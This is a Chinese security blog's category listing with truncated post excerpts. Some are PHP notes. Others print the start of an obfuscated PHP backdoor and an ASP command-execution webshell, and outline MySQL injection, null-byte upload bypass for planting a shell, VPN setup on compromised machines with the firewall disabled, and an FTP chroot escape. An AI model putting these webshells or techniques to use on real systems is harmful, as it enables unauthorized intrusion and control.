Category
分类：网安杂类
40 篇
关于PHP中flush的蛋疼记录
好吧，从昨天就开始搞这个flush函数，直到今天中午才弄出来，而最让人蛋疼的最后搞出来的结果，阿西吧，我一定要把这个蛋疼的经历记录下来。。。。。 不知道flush()这个函数的可以先百度了解一下，我这里就简单的提一下吧，上代码： obstart(); for($i=0;$i<3;$i++) { echo $i; obflush(); flush(); sleep(1); } 大概的意思就是…
PHP中error_reporting()函数小记
这篇又是一篇mark的日志，主要记一下errorreporting函数的一些参数。。。 errorreporting函数用来设置报错级别，可以让那些你不想显示的报错信息从你的页面上消失，下面是详细参数介绍： 数字 字符串 …
各种求hacker大牛~
<?php @errorreporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmN…
php中‘0’与其他字符串比较的问题
今天在写php的时候，偶然发现一个特别好玩的事情，具体代码如下： $a = 0; if($a == 'abc'){ echo 'true'; }else{ echo 'false'; } 怎么样，代码看上去很简单吧？ 所以呢？输出结果是 "false" ？ NO，NO，NO 没那么简单，大家可以自己试一下，这段代码的输出结果是 “true” ！！ 真的！！ 就…
Cmd Shell ASP/ASPX/JSP/PHP/CGI【收藏】
Cmd Shell ASP/ASPX/JSP/PHP/CGICmd Shell ASP版本执行命令:<br> <% Dim oScript Dim oScriptnet Dim oFileSys, oFile Dim szCMD,szTempFile szCMD=request.form(".cmd") '从输入框得到cmd On Error Resume Next '如果出现错…
浅谈CSRF攻击方式，Cross-site request forgery，跨站请求伪造详解
一.CSRF是什么？ CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。 二.CSRF可以做什么？ 你这可以这么理解CSRF攻击： 攻击者盗用了你的身份，以你的名义发送恶意请求 。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商…
mysql注入总结
标题：mysql注入总结 作者：L.N. 时间：2012-07-23 博客：lanu.sinaapp.com 目录： 0x00 mysql一般注入（select） 0x01 mysql一般注入（insert、update） 0x02 mysql报错注入 0x03 mysql一般盲注 0x04 mysql时间盲注 0x05 mysql其他注入技巧 0x06 mysql数据库版…
网马上传方法
一、'\0'上传漏洞 + nc抓包上传: 整个流程上传漏洞主要就是利用'\0'字符漏洞，'\0'字符在系 统中被用作字符串结束的标志 基本原理就是网络程序虽然禁止了.asp等后缀名文件的上传， 但是都会允许.jpg或者.gif格式文件的上传。这样如果自己构造数据包 formPath=UploadFile/shell.asp'\0 '.jpg，那么'\0 '后面的字符将被截断，原因是计算…
实用内网，校园网等超级内网的VPN肉鸡上线
VPN 可以应用在很多方面，很多公司只是拿它接入公司内部网络，但我们做安全的需要的是利用它做跳板上网（还有提高网速）。这篇文章主要是针对这种应用来说的，包括公网 VPN 的配置。 服务器配置 前奏 : 关闭防火墙 Windows 防火墙服务开启的话没法启用 VPN 服务，所以要先关掉。 在 cmd 下输入下面两条命令既可 : sc config SharedAccess start=disable…
突破FTP中的限制
这篇文章是对WU-FTPD设置了CHROOT后，配置出现的问题造成了突破CHROOT限制，并可以访问全部文件系统，我只是看到了这篇文章，感觉思路不错，就把其翻译了出来，由于时间仓促，没有对程序进行测试。这篇文章也是98年发表的文章，所以并不一定对现在最新的系统适用。------------了解思路吗！！！ 下面是对WU-FTPD的测试，尽管任何FTP服务程序允许限制各种访问，但在用户目录下使用/b…